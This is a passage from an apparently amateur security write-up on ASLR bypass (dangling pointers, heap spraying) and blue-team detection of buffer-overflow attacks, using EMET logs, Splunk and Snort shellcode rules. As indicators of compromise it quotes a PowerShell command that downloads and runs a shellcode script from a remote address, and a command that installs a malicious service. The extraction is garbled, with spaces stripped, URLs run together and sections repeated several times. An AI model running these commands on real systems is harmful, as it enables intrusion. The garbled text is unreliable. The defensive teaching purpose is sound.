httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

